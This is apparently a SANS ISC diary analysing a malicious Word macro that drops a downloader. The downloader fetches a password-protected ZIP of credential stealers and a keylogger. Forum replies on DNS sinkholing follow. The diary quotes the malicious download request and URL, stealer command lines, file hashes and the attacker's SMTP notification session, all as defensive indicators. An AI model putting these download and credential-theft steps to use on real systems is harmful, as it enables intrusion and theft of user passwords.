Every day, we are spammed with thousands of malicious emails and attackers always try to find new ways to bypass the security controls. Yesterday, I detected a suspicious HTTP GET request: GET /ork/install.zip?fid=484703180 HTTP/1.1 User-Agent: http://offensivereports.xyz/ork/install.zip?fid=48473180 Host: offensivereports.xyz Just by reading the User-Agent string, you already know that this is something weird and it must be investigated. I downloaded the file which was indeed a ZIP archive and not a disguised PE file. But this time, the archive is protected with a password! The file MD5 is 55d620a29afc46de0a5cb2bebfd7968b and is reported as non-malicious by VT (normal: the files can't be extracted): $ unzip -l install.zip Archive: install.zip Length Date Time Name -------- ---- ---- ---- 439608 09-14-15 12:44 msvcp140.dll 348160 04-28-16 09:15 msvcr71.dll 676036 04-28-16 09:15 sqlite3.7.11.dll 196608 04-28-16 09:15 ssleay32.dll 488467 09-25-16 10:17 upd.exe 88248 06-23-15 15:00 vcruntime140.dll 57 09-22-16 22:19 x.Cmd 466432 09-16-16 08:10 em.exe 418304 09-16-16 08:31 fb.exe 439808 09-26-16 12:27 ie.exe 1011712 04-28-16 09:15 libeay32.dll 2533907 09-26-16 13:55 msupd.exe -------- ------- 7107347 12 files More checks in my log files revealed that the HTTP GET originated from a malicious Word document (MD5: 9f2264c60115cc6d1dd69a4348a26fb2 - unknown on VirusTotal). Let's have a deeper look at the file and the macros. It starts with a classic scenario, the user is enticed to enable macros to view the document. Note the look of the message which mimics a missing plug-in! The document contains hidden data (a white font on a white background) which looks like Base64/XOR’d data: The macro was pretty well obfuscated to evade the classic antivirus solution but a quick manual analysis of the macro revealed that the hidden data are extracted and the decrypted data are dumped in a file in a random directory with a random filename (3 letters for the directory and 2 letters for the filename): %LOCALAPPDATA%\Temp\xxx\xx.cmd. Here are some other indicators extracted by olevba.py: +------------+---------------+-----------------------------------------+ | Type | Keyword | Description | +------------+---------------+-----------------------------------------+ | AutoExec | AutoOpen | Runs when the Word document is opened | | AutoExec | Workbook_Open | Runs when the Excel Workbook is opened | | Suspicious | Open | May open a file | | Suspicious | Shell | May run an executable file or a system | | | | command | | Suspicious | MkDir | May create a directory | | Suspicious | Binary | May read or write a binary file (if | | | | combined with Open) | | Suspicious | CreateObject | May create an OLE object | | Suspicious | Chr | May attempt to obfuscate specific | | | | strings | | Suspicious | Xor | May attempt to obfuscate specific | | | | strings | | Suspicious | Environ | May read system environment variables | | Suspicious | Put | May write to a file (if combined with | | | | Open) | +------------+---------------+-----------------------------------------+ The created file 'xx.cmd' is a PE file (MD5: 9b8af9042b8f357e17e6609aa5d0dc7d) also unknown on VT. The file is executed by the macro using a Shell() command. It performs the following actions:
The next step was to get the files from the ZIP archive. The .cmd PE file was not obfuscated and contained a lot of strings. I created a dictionary based on those strings and started a dictionary attack against the archive, no success. Let's try a brute-force attack with a password estimated between 3-8 characters and I was lucky: The password was found in a few seconds (a weak 3-characters password). Here are the MD5 hashes of the extracted files: $ md5sum * MD5 (em.exe) = bae5851b1ea539b16800f5bdaded3a68 MD5 (fb.exe) = 38ff837f504f63e04491682e96447cdb MD5 (ie.exe) = a8107e664bfbee36653bcdcff37afa00 MD5 (libeay32.dll) = 177bda0c92482dfa2c162a3750932b9c MD5 (msupd.exe) = 8e402be9c03d288a5aee9565143632bc MD5 (msvcp140.dll) = 1d8c79f293ca86e8857149fb4efe4452 MD5 (msvcr71.dll) = 86f1895ae8c5e8b17d99ece768a70732 MD5 (sqlite3.7.11.dll) = f45ed79fee632e407831fbebc51fc063 MD5 (ssleay32.dll) = 5023f4c4aaaa1b6e9d992d6bbdcd340b MD5 (upd.exe) = 6c66d7c6a3718d515370709a9f06f4a6 MD5 (vcruntime140.dll) = c2bbcb5aae069c22711d8e49d6107401 MD5 (x.Cmd) = f97253ff3c80b94fa2efb9e5ab1808db Only the file 'em.exe' is reported as malicious by VT[1]. The 'msupd.exe' file as an original name 'setup.exe' and is reported as a Microsoft Setup Bootstrap[2] file: It enumerates the processes, starts a keylogger, deploys and executes the other PE files (like any Windows installer): C:\ProgramData\ie.exe" -f "C:\ProgramData\bigchunk\ie.txt C:\ProgramData\em.exe, -f "C:\ProgramData\bigchunk\em.txt" C:\ProgramData\fb.exe" -f "C:\ProgramData\bigchunk\fb.txt Those files are common tools to collect email passwords (em.exe), browsers passwords (ie.exe) and social networks passwords (fb.exe). But the funny stuff was for sure the notification sent via email to the attacker. Here is a dump of the SMTP session recorded: 220 s37.linuxpl.com ESMTP Server EHLO SystemIT 250-s37.linuxpl.com Hello xxxxxxxx [x.x.x.x] 250-SIZE 104857600 250-8BITMIME 250-PIPELINING 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP AUTH PLAIN xxxxxxxxxxx 235 Authentication succeeded AUTH LOGIN 503 already authenticated MAIL FROM: Now I have the attacker's email address and credentials to use his mail server! Sadly, the attack was not completely successful in my sandbox environment and no data was ex-filtrated (collected credentials). I did not detect any traffic to the Wild Internet... As you can see, attackers are always trying to find ways to bypass security controls like password protected archives, generic Microsoft tools). Stay safe! [1] https://www.virustotal.com/en/file/2e149eae2956d2d749110f803044ff8b252dcbaf3ae09bdcf30a58b74bbd7329/analysis/ Xavier Mertens (@xme) |
Xme 687 Posts ISC Handler Sep 30th 2016 |
Thread locked Subscribe |
Sep 30th 2016 5 years ago |
Quote: As usual: MOSTLY HARMLESS! To stop (unknown) malware like this dead in its tracks, use a standard/restricted user account and Software Restriction Policies alias SAFER to allow execution only from the safe directories %SystemRoot% (with some exceptions) plus %ProgramFiles% and deny execution elsewhere. |
Anonymous |
Quote |
Sep 30th 2016 5 years ago |
Has anyone implemented a system on a medium to large network that would prevent a domain like offensivereports.xyz from being resolved by DNS? I can't verify that openDNS blocks it or not, but it is not found as a "tagged" domain right now in openDNS.
Please share any recommendations as to how to ensure a domain like this is not resolved. And please don't say it won't work because the attacker could hard code an IP address. No mitigation is perfect. |
mabraFoo 9 Posts |
Quote |
Sep 30th 2016 5 years ago |
To decrypt .odin files you need a Master Key. According to a German site virus-entferner.de you can try the previous version feature:
http://www.virus-entferner.de/2016/09/29/odin-ransomware-entfernen/ The Windows OS provides a built-in option of recovering previous versions of files. It can also be applied to folders. Just right-click on a file or folder, select Properties and hit the tab named Previous Versions. Within the versions area, you will see the list of backed up copies of the file / folder, with the respective time and date indication. Select the latest entry and click Copy if you wish to restore the object to a new location that you can specify. If you click the Restore button, the item will be restored to its original location. |
mabraFoo 1 Posts |
Quote |
Sep 30th 2016 5 years ago |
Quoting mabraFoo:Has anyone implemented a system on a medium to large network that would prevent a domain like offensivereports.xyz from being resolved by DNS? Yes, I used one many years ago. It's called a DNS Sinkhole. SANS has a paper on the topic: https://www.sans.org/reading-room/whitepapers/dns/dns-sinkhole-33523 Several jobs ago, I built one and populated it with lists from MalwareDomains along with manual entries. I redirected the bad sites to an internal server that served a blank page or cleardot for all requests. Web server logs relieved who was hitting the bad sites. The usual caveats apply. |
Ron 8 Posts |
Quote |
Sep 30th 2016 5 years ago |
Yes. I set my DNS server (and the firewall enforces that only this server can connect outbound to port 53) to be authoritative for the entire xyz TLD. Everything in that TLD is blocked, along with several others. I can post my list of blocked TLDs if you are interested.
|
R 41 Posts |
Quote |
Sep 30th 2016 5 years ago |
Thanks for your reply R,
I read about a dns tool called foghorn that can be setup to not resolve domains that are less than X days old. Alexa has a list of the top million domains. If you combine that data with a good set of blacklists in theory you would have good protection. The main thing I am trying to find out is if anyone is using a BIG black or white list. As a raw list gets big, software will choke on it. There are ways to make the look-up very fast though using a hash like IPSET does. Before an Admin (like me) tries to implement a huge domain list, I think it would be really useful to know what has/hasn't worked for others. |
mabraFoo 9 Posts |
Quote |
Sep 30th 2016 5 years ago |
My latest image is located here: handlers.sans.org/gbruneau/…
|
Guy 522 Posts ISC Handler |
Quote |
Oct 2nd 2016 5 years ago |
If you control the local DNS server add an entry for the domain that you want to block and then add an A record to that domain that points to local host.
|
PW 69 Posts |
Quote |
Oct 3rd 2016 5 years ago |
Sign Up for Free or Log In to start participating in the conversation!